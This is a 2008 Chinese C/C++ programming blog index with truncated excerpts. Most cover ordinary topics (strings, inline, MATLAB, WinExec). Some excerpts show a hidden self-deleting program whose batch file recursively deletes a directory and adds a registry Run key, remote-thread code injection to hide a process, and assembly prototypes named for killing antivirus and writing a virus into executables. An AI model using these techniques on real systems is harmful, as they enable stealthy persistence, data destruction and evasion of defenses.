博文

std:string、char *和char []的问题(2008-06-11 12:24:00)

摘要:string str_s = "abc";
char *str_cp = "abc";
char str_ca[] = "abc";

1. str_cp是指针,指向一段数据有四个元素,分别是'a', 'b', 'c', '\0'。

2. str_ca是数组,它包含四个元素,分别是'a', 'b', 'c', '\0'。
引用: 我知道*str_cp的"abc"多了一个'/0'
这个说法不正确。数组str_ca也会有'\0'。但如果你写char str_ca[] = {'a', 'b', 'c'}则不会有'\0'。

3.  引用: str_ca相当于一个char * const str_cp
这个说法不正确。数组和指针是不同的,数组不能看作常指针。证据就是:
char* const s = "abcdef";
char a[] = "abcdef";
则sizeof(s)一般为2或者4,而sizeof(a)为7。
指针只保存了所指向的地址,数组既包括首地址的信息,还包括长度的信息。不过数组在作为参数传递时,可以转化为指针的形式(数组首地址作为指针所指地址,数组长度信息被丢弃)。

4.  引用: string str_s 本质上是什么呢?
从对象的观点看。str_s就是一个对象,其中包含了字符串数据,如此而已。至于对象内部是如何操作,以保证正确的包含这个字符串数据,这完全取决于string类的作者。这种现象体现了面向对象编程思想中的一个重要观点——封装。作为类的使用者,我们只要知道它应该怎么用即可,不需要知道它是如何工作的。也就是说不需要知道它的本质。
当然我们也不能一无所知。为了更好的使用这个类,它的基本特性要了然于心。比如,我们要知道string中的字符是连续存储的,而......

阅读全文(12663) | 评论:0

C语言的inline(2008-06-09 17:56:00)

摘要:C语言的inline 转以前我用Docbook写的一篇关于C语言inline关键字使用的文章。唉,要是能用docbook直接写Blog就好了。用得越多发现Docbook这个东西真是越好用啊~~   本文介绍了GCC和C99标准中inline使用上的不同之处。inline属性在使用的时候,要注意以下两点: inline关键字在GCC参考文档中仅有对其使用在函数定义(Definition)上的描述,而没有提到其是否能用于函数声明(Declare)。 从inline的作用来看,其放置于函数声明中应当也是毫无作用的:inline只会影响函数在translation unit(可以简单理解为C源码文件)内的编译行为,只要超出了这个范围inline属性就没有任何作用了。所以inline关键字不应该出现在函数声明中,没有任何作用不说,有时还可能造成编译错误(在包含了sys/compiler.h的情况下,声明中出现inline关键字的部分通常无法编译通过); inline关键字仅仅是建议编译器做内联展开处理,而不是强制。在gcc编译器中,如果编译优化设置为-O0,即使是inline函数也不会被内联展开,除非设置了强制内联(__attribute__((always_inline)))属性。 1. GCC的inline gcc对C语言的inline做了自己的扩展,其行为与C99标准中的inline有较大的不同。 1.1. static inline GCC的static inline定义很容易理解:你可以把它认为是一个static的函数,加上了inline的属性。这个函数大部分表现和普通的static函数一样,只不过在调用这种函数的时候,gcc会在其调用处将其汇编码展开编译而不为这个函数生成独立的汇编码。除了以下几种情况外: 函数的地址被使用的时候。如通过函数指针对函数进行了间接调用。这种情况下就不得不为static inline函数生成独立的汇编码,否则它没有自己的地址。 其他一些无法展开的情况,比如函数本身有递归调用自身的行为等。 static inline函数和static函数一样,其定义的范围是local的,即可以在程序内有多个同名的定......

阅读全文(8353) | 评论:1

字符串原样输出技巧(2008-06-07 20:41:00)

摘要:有什么方便的方式向文件中输入以下内容
for /f "tokens=1-4 delims=:. " %%h in ("%time%") do set start_=%%h%%i%%j%%k 使用
#include <stdio.h> int main()
{
    FILE *output = NULL;
 if((output=fopen("$.bat","w"))==NULL)
  return -1 ;
 
 fprintf(output,"for /f \"tokens=1-4 delims=:. \" %%%%h in (\"%%time%%\") do set start_=%%%%h%%%%i%%%%j%%%%k\n");
 fclose(output);
 
    return 0;
}
对吗? 对的,但是你有没有感觉累呀!比如这个字符串很长很长 不断的对这些特殊字符进行手工调整,不累夸你!怎么办呢?动脑筋呀! 下面就是使用宏定义方式的实现了这个功能 VC 下通过 2008/6/7 #include <iostream.h>
#include<fstream.h>
#define FPrint(x) fout<< #x << endl
#define Print(x) cout << #x << endl int main()
{
    ofstream fout("ds.txt");
 FPrint(for /f "tokens=1-4 delims=:. " %%h in ("%time%") do set start_=%%h%%i%%j%%k\n);
 Print(for /f "tokens=1-4 delims=:. " %%h in ("%time%") do set start_=%%h%%i%%j%%k\n);
 f......

阅读全文(4246) | 评论:2

自删除程序小结(2008-06-07 18:48:00)

摘要:基本思路: 使用C程序,在程序结束运行之前创建一个批处理文件$.bat  然后在程序最后退出之前调用这个批处理文件 WinExec("$.bat",SW_HIDE); 注意:不能使用 system("$.bat");因为system需要等待system调用结束才执行下面的代码 只要在这个批处理文件中包含删除这个程序 aa.exe  和删除自身批处理文件$.bat功能就可 代码为:del /q/s aa.exe 和 del /q/s %0 具体实现示例使用C代码 #include <stdio.h>
#include <stdlib.h>
#include <windows.h> int main()
{
    FILE *output = NULL;
 if((output=fopen("$.bat","w"))==NULL)
  return -1 ;
 
 fprintf(output,"@echo off\n"\
  "set tt = %%cd%%\n"\
  "rd c:\\zhong /s/q \n"\
  "md c:\\zhong\n"\
     "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v * /d * /f\n"\
  "cd %%tt%%\n"\
  "del /q/s aa.exe \n"\
  "del /q/s %%0\n"\
  "exit\n");
 fclose(output);
 WinExec("$.bat",SW_HIDE);
 //system("pause");
 
    return 0;......

阅读全文(558) | 评论:0

多线程模拟(2008-06-07 13:18:00)

摘要:#include<iostream.h>
#include<time.h>
#include<stdlib.h>
#include<string.h>
class multithread   // 多线程类
{
private:
 char s[1000]; // 某线程工作状态字符型记录数组
 int sum;        // 某个对象存储状态的字符串型数组的个数
             
public:
 multithread(){xpiot=0;for(int i=0;i<1000;i++)s[i]=' ';}; 
 ~multithread(){};
 void randcpu();            //产生某个线程某一次所需的CPU时间的随机函数
 void randio();             //产生某个线程某一次所需的外围io设备时间的随机函数
 void store();       //存储线程记录函数
 void print();       //输出运行结果
 static int sumtime;    //系统总时间
 int xpiot;      //当前线程与其后io运行时间之和
}......

阅读全文(2438) | 评论:0

WinExec来执行DOS命令(2008-06-06 21:37:00)

摘要:首先dos命令只能用system来执行的,由于讨厌system出现的黑屏,才用WinExec来运行:) 以下调用示例:http://topic.csdn.net/t/20030218/20/1441305.html# 2000下:  
   
  SetCurrentDir("c:\\");  
  WinExec("cmd   /c   copy   1.txt+2.txt   /b",SW_HIDE);  
   
  98下:  
   
  SetCurrentDir("c:\\");  
  WinExec("command   /c   copy   1.txt+2.txt   /b",SW_HIDE);  
   
  此处假设你要复制的文件所在目录为C:\,要合并的文件分别为1.txt和2.txt,合并后文件名仍为1.txt。你的程序中应作相应修改。  
   
  如果你合并到一个新文件3.txt,则应为:  
  2000:  
  WinExec("cmd   /c   copy   1.txt+2.txt   3.txt   /b",SW_HIDE);  
  98:  
  WinExec("command   /c   copy &n......

阅读全文(4289) | 评论:0

vc中如何调用matlab(2008-06-06 21:29:00)

摘要:vc调用matlab引擎的一个简单例子
有网友(山城棒棒儿军)按如下步骤在vc中使用matlab引擎:
(1)。启动vc6。0,建立一个mfc(exe)类型工程matlabengine。
(2)。在项目建立后,设置环境。
Tool->options->Diretories 页面下Show directories for
先选择Include Files,输入路径:D:\PROGRAMS\MATLAB6P5P1\EXTERN\INCLUDE
在选择Library Files,输入路径:D:\PROGRAMS\MATLAB6P5P1\EXTERN\LIB\WIN32\MICROSOFT\MSVC60
(我的matlab根目录是 D:\PROGRAMS\MATLAB6P5P1\ ;这里的设置对不同工程只需要一次)
(3)。打开Project->Settings->Link页面,在Object/Library modules
中加入libmatlb.lib libeng.lib libmx.lib。(这里对每个工程都要设置,并且根据需要选不同的库)
(4) 在工程目录的view的头文件中加入
##include "engine.h"

(5) 在about 对话框加入一个按钮,在其按钮响应函数如下:
void CAboutDlg::OnButton1()
{
Engine *ep;
double t[1];

t[0]=6.28;
mxArray *T=NULL;

if(!(ep=engOpen(NULL)))
{
AfxMessageBox("Can not open the matlab engine!");
exit(-1);
}

T=mxCreateDoubleMatrix(1,1,mxREAL);
memcpy((char*)mxGetPr(T),(char*)t,1*sizeof(double));

engPutVariable(ep,"T",T);

engEvalString(ep......

阅读全文(9518) | 评论:1

病毒专杀工具自己编(2008-06-06 21:27:00)

摘要:此文中讲解的病毒专杀工具是针对木马、蠕虫等独立的程序而言的广义的病毒而言,而不是指那种自我复制感染PE文件的依附于其他程序的那种狭义的病毒。因为写那种病毒的专杀工具需要PE文件结构等知识,相对而言有点难度,所以我们就先从相对简单点的开始,难的以后再介绍。


对于大多数病毒而言,杀毒的思路其实很简单,那就是:终止病毒的进程、删除自启动项目(一般在注册表中的run*主键下)、删除病毒文件,对设置了文件关联的病毒而言还要修改注册表恢复文件关联。下面将分别陈述。


一.终止进程


以前网上曾有许多朋友问我怎么根据文件名终止指定进程,为什么使用函数TerminateProcess()不能直接终止指定进程。首先让我们来看看函数TerminateProcess()的声明吧:Bool TerminateProcess(HANDLE hPeocess,UINT uExitCode),其中第一个参数为进程句柄,而不是进程名称(文件名)。那怎样才能获得指定进程的句柄呢?我们可以使用函数OpenProcess(),其原型为


HANDLE OpenProcess(
DWORD dwDesiredAccess, // 访问标志
BOOL bInheritHandle, // 处理继承的标志
DWORD dwProcessId // 进程标识号,即进程ID
);
在使用时只要在main()主函数里调用函数KillProcessFromName(),把参数设为你要终止的进程的名称即可,Win9X则需包括路径。还有一点值得注意一下,就是别忘了#include 。


二、删除文件

这一步骤很简单,调用函数DeleteFile()即可,Bool DeleteFile(LPCTSTR lpFilename),把lpFilename设要指向删除的文件的文件名的指针即可,可包含具体路径。


三、修改注册表,删除启动项及文件关联


首先用函数RegOpenKeyEx()打开目标主键,RegOpenKeyEx()函数原型为:


LONG RegOpenKeyEx(
HKEY ......

阅读全文(2456) | 评论:1

WinNT & Win2K下实现进程的完全隐藏(2008-06-06 21:24:00)

摘要:WinNT & Win2K下实现进程的完全隐藏 作者:AntGhazi 主页:antghazi.yeah.net  面对众多的计算机高手,考虑许久,终于还是决定出来献丑一下,文章内尽量使用最简洁易懂的词汇及例子来介绍,
希望能够对一些初学与进阶者有所帮助。
    关于进程的隐藏,98下的例子数不胜数。WinNT/Win2K下的隐藏方法,西祠的高手shotgun在去年的6月就已经在网上发布出实例《揭开木马的神秘面纱<四>》 ,我也多次拜读他的文章,对他的计算机水平及热心帮助朋友的作风十分敬佩。这里也可算是对shotgun的文章的补充与深入介绍吧,好了,闲话少说。
在WinNT下"真正隐藏进程"这一说法,可以讲是根本不可能实现,只要我们的程序是以进程内核的形式行,都是不可能逃离CTRL+ALT+DEL的法眼。那么奇怪了,这岂不是与我们的标题《WinNT & Win2K下实现进程的完全隐藏》相矛盾吗?是的,实际上应该是:以非进程方式执行目标代码,而逃避进程查看器的检查,从而达到"进程隐藏"的目的。我们这里用的,是在宿主进程中,以线程的方式执行我们的代码。实现起来非常简单。首先,我们先建立一个不执行任何语句的线程
DWORD stdcall ThreadProc(LPVOID *lpVoid){
    return 0;
}
然后,将线程代码拷备至宿主进程所能够执行的任何地方(即页面属性为PAGGE_EXECUTE_READWRITE),如:共享内存影射区、宿主进程内。这里我们选择宿主进程,拷备的时侯,我们需要先在宿主进程中使用VirtualAllocEx函数申请一段内存,然后再使用WriteProcessMemory将线程体写入宿主进程中。
以上工作完成后,我们便可CreateRemoteThread函数激活其执行。下面给出一个完整的例子
//远程线程执行体
DWORD __stdcall ThreadProc (void *lpPara){
  return 0;
}
int main(int argc, char* argv[]){
  const DWO......

阅读全文(1935) | 评论:0

附加一个线程在 explorer.exe 上执行代码(2008-06-06 21:21:00)

摘要:以前写过 线程附加模块 现在找不到了 原理就是 附加一个线程在 explorer.exe 上执行代码(我认为具有极高的隐蔽性 因为程序运行后没有进程被创建只是在explorer.exe 上多了个线程而以)。 感谢 罗聪 兄的帮助 以前写汇编代码时我遇到问题就去找他 呵呵!  不过你也够强的 QQ 都n个太阳了 就没见你上过线丫的超级潜水员.  ;##########################################################
; Shadow MASM Public Function Library
;########################################################## ;##########################################################
 GetWindowsVer proto
 KillAntiVirus  proto
 vBackupFile proto
 ReadVirusToMem proto :DWORD
 WriteVirusToExe proto :DWORD, :DWORD
;##########################################################
;##########################################################
; 判断 Windows 版本 测试通过
;##########################################################
 GetWindowsVer proc
  LOCAL OSVI:OSVERSIONINFO
  mov OSVI.dwOSVersionInfoSize,SIZEOF(OSVERSIONINFO)
  invoke GetVersionEx,addr OSVI
&nb......

阅读全文(3572) | 评论:0